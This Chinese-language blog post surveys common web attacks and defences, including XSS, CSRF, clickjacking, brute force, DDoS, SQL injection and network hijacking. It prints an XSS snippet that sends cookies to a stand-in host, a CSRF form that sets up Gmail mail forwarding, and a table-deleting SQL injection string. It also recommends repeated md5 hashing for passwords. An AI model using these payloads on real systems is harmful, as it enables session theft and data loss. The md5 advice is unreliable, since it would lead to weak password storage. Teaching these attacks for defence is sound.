原文链接: https://www.cnblogs.com/yalong/p/16638754.html
常见攻击手段如下:
XSS
Cross Site Scripting 跨站脚本攻击, 直接简写就是CSS, 为了跟样式的CSS做区分,所以称为XSS
用户通过某种方式(如输入框、文本编辑器)输入一些内容,其中带有攻击代码(JS 代码)。
该内容在显示时,这些代码也将会被执行,形成了攻击效果。
<!-- 例如用户提交的内容中有: -->
<script>
var img = document.createElement('img')
img.src = 'http://abc.com/api/xxx?userInfo=' + document.cookie // 将 cookie 提交到自己的服务器
</script>
这样,abc 域名下的服务就可以接收到请求,从而获取网站 cookie
最简单的解决方式:替换特殊字符
const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
也可以使用第三方工具,例如
现代框架默认会屏蔽 XSS 攻击,除非自己手动开启,开启方式如下
- Vue
v-html
- React
dangerouslySetInnerHTML
XSS 的预防
cookie设置httponly, 让js无法获取到cookie的内容
CSRF
Cross-site request forgery 跨站请求伪造
请看下面的故事
- 小明登录了 Gmail 邮箱,收到一封广告邮件 “转让比特币,只要 998”
- 小明抱着好奇的心态点开看了看,发现是个空白页面,就关闭了
但此时,攻击已经完成了。黑客在这个空白页面设置了 js 代码,会让小明的邮件都转发到 [email protected]
。
因为小明已经登录了 Gmail ,有了 Gmail 的 cookie 。所以再去请求 Gmail API 就会带着 cookie ,就有可能成功。
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="[email protected]"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
// PS:有些是 post 请求,有些是 get 请求
// get 请求如果用 img.src 还可以规避跨域,更加危险
</script>
邮件经常用来接收验证码,这是很危险的事情。
当然了,后来 Gmail 修复了这个漏洞。但新的故事仍在不断发生中。
CSRF 的过程
- 用户登录了
a.com
,有了 cookie - 黑客引诱用户访问
b.com
网页,并在其中发起一个跨站请求a.com/api/xxx
a.com
API 收到 cookie ,误以为是真实用户的请求,就受理了
CSRF 的预防
- 严格的跨域请求限制, 后端添加严格的 refer 验证, 只有是自己的域名才通过
- 为 cookie 设置
SameSite
不随跨域请求被发送Set-Cookie: key1=val1; key2=val2; SameSite=Strict;
- 关键接口使用短信验证码等双重验证
XSS 是拿到cookie, CSRF 是借用cookie, 这是两者最大的区别
点击劫持 Clickjacking
小明被诱导到一个钓鱼网站,点击了一个按钮,如果他正好已经登录了微博, 那么这时候就已经关注了微博的某个博主。
这可以是关注,也可以是付款转账等其他危险操作。
点击劫持的原理:黑客在自己的网站,使用隐藏的 <iframe>
嵌入其他网页,诱导用户按顺序点击。
预防方法如下
使用 JS 预防
if (top.location.hostname !== self.location.hostname) {
alert("您正在访问不安全的页面,即将跳转到安全页面!")
top.location.href = self.location.href
}
增加 http header X-Frame-Options:SAMEORIGIN
,让 <iframe>
只能加载同域名的网页。
不要轻易点击陌生的链接
比如知乎上,对于跳转到外部的链接,都会有个这样的提示:
暴力攻击
这里以登录接口为例,因为登录接口是任何人都可以接触到的,如果黑客采用暴力攻击来破解登录,
随机生成用户名,密码,每秒发送大批量的登录请求,很有可能会真的登录成功了
预防措施
-
登录页面加上人机验证机制,比如12306登录的时候,会让用户滑动一个滑动条,或者在多张图中 识别带有摩托车的图片, 这样可以过滤大部分机器请求
-
添加验证码机,而且是后端生成的验证码,后端生成验证码的值,和对应的验证码id, (这个id是保存在服务端的,黑客无法获取到) 以及过期时间
只有用户名,密码,验证码,验证码id 都通过,并且验证码还在有效期内,才可以登录成功 -
添加预警机制, 比如某个ip 短时间内,触发了几百上千次登录请求,这种情况肯定是非正常请求,可以把对应的ip直接封掉
DDoS
Distributed denial-of-service 分布式拒绝服务
DDoS是 通过大规模的网络流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。
类似于恶意堵车,妨碍正常车辆通行。
网络上的设备感染了恶意软件,被黑客操控,同时向一个域名或者 IP 发送网络请求。因此形成了洪水一样的攻击效果。
由于这些请求都来自分布在网络上的各个设备,所以不太容易分辨合法性。
DDoS 的预防:
软件层面不好做,可以选择商用的防火墙,如阿里云 WAF。
PS:阮一峰的网站就曾遭遇过 DDoS 攻击 https://www.ruanyifeng.com/blog/2018/06/ddos.html
SQL 注入
普通的登录方式,输入用户名 zhangsan
、密码 123
,然后服务端去数据库查询。
会执行一个 sql 语句 select * from users where username='zhangsan' and password='123'
,然后判断是否找到该用户。
如果用户输入的是用户名 ' delete from users where 1=1; --
,密码 '123'
那生成的 sql 语句就是 select * from users where username='' delete from users where 1=1; --' and password='123'
这样就会把 users
数据表全部删除。
防止 SQL 注入方法:
1.服务端进行特殊字符转换,如把 '
转换为 \'
, 或者使成熟的工具,比如 mysql.escape(param) 进行编码
2.如果查询字段是纯数字,对字段进行number类型校验,保证输入格式的正确
3.不要直接使用拼接的sql的方式, 使用ORM
库(对象关系映射),比如 sequelize, sequelize
会处理一部分 sql注入
,同时数据库操作更严谨,也更方便
4.核心原则就是不要轻易相信用户输入的内容
网络劫持
运营商、黑客、浏览器厂商、手机厂商,通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西。
网络劫持最主要的就是运营商层面的劫持。
运营商劫持主要分两种:DNS劫持和HTTP劫持
DNS劫持
一般而言,用户上网的DNS服务器都是运营商分配的,所以在这个节点上,运营商可以为所欲为。
如下图所示:
正常访问过程:1. 用户输入域名;2. DNS把域名翻译成IP传给网站服务器;3.网站服务器再把对应IP的网页呈现给用户
在上面第2步,DNS服务器把域名翻译成的IP被攻击者替换,攻击者劫持正确的IP,然后换成攻击者提供的自己做的网站的IP传给网站,网站调出该IP对应的网页,呈现给用户,这时用户看到的就是攻击者的网站了,这也就是DNS劫持的原理。
HTTP劫持
用户发送了HTTP请求后
运营商的路由器会首先收到此次HTTP请求,之后运营商路由器的旁路设备标记此TCP连接为HTTP协议,之后可以抢在网站服务器返回数据之前发送HTTP协议的302代码进行劫持,随后网站服务器的真正数据到达后反而会被丢弃。
或者,旁路设备在标记此TCP连接为HTTP协议后,直接返回修改后的HTML代码,导致浏览器中被插入了运营商的广告,随后网站服务器的真正数据到达后最终也是被丢弃。
从上述原理中看出,如果需要进行HTTP劫持,首先需要进行标记:如果是HTTP协议,那么进行劫持,否则不进行劫持。
劫持的手段
- 直接返回一个带广告的HTML
- 在原html中插入js,再通过js脚本安插广告
- 在原来正常网页嵌入iframe
HTTP劫持的主要步骤
- 标识HTTP连接, 在TCP连接中,找出应用层采用了HTTP协议的连接,进行标识
- 篡改HTTP响应体,可以通过网关来获取数据包进行内容的篡改
- 抢先回包,将篡改后的数据包抢先正常站点返回的数据包先到达用户侧,这样后面正常的数据包在到达之后会被直接丢弃
由于HTTP劫持可以修改请求的响应体,所以如果黑客修改了登录请求的结果,改为登录成功,前端页面如果只依靠登录结果作为验证标准,这种情况下,黑客是可以进入到系统内部的,所以前后端必须有严格的登录验证机制
防劫持方法
- 对于用户来说,最最直接的就是向运营商投诉,但是没啥用,因为这是断人家财路
- 在开发的网页中加入代码过滤,大概思路就是用JavaScript代码检查所有的外链是否属于白名单,不是的话直接删掉。
- 最有用的方式,使用HTTPS 。https协议就是http+ssl协议;https 加了SSL协议,会对数据进行加密,如果是HTTP请求,登录的时候,用户名、密码没有加密,也是可能会被劫持到的
HTTPS 是相对安全了, 但也不是绝对安全,HTTPS加密过程,以及攻击HTTPS 的手段,具体可以看这里: HTTPS加密过程以及中间人攻击
其他预防措施
- 全部请求都添加refer验证,过滤非本域名下的请求
- 对于需要登录的系统,除了登录页面,登录接口,其他全部页面、接口都添加登录验证
- 对于需要登录的系统,SPA 换成服务端渲染,这样就可以把登录验证全部放在服务端,前端的登录验证比较容易攻破
- 前端服务跟接口服务分别部署在不同的机器,这样就算黑客攻击进入了前端的服务器,还是无法进入接口服务器
- 关键信息进行md5加密,md5加密是不可逆的,甚至可以进行多次md5加密,因为多次加密,破解会更麻烦
- sessionId 二次加密:服务器上保存一个秘钥,返回到浏览器的 sessionId 进行一次md5加密,存在数据库中的sessionId 跟秘钥结合再进行多次md5加密,后续浏览器传过来的sessionId 都要跟服务器上的秘钥结合再进行md5加密,然后用加密后的结果,去数据库中查找
这样就保证了,返回给浏览器的sessionID 跟 数据库中存的sessionId 是不一样的,提高安全性 - 对于一些关键数据,比如密码,不要明文传递,保存在数据库中也不要是明文,都要是加密后的数据